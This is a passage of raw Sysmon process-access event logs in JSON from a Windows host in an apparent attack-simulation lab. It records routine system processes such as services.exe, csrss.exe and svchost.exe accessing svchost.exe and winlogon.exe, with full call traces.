11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":785,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 928\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"928","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":786,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":787,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":788,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1128\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1128","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":789,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1128\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1128","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":790,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":791,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":792,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":793,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1200\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1200","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCR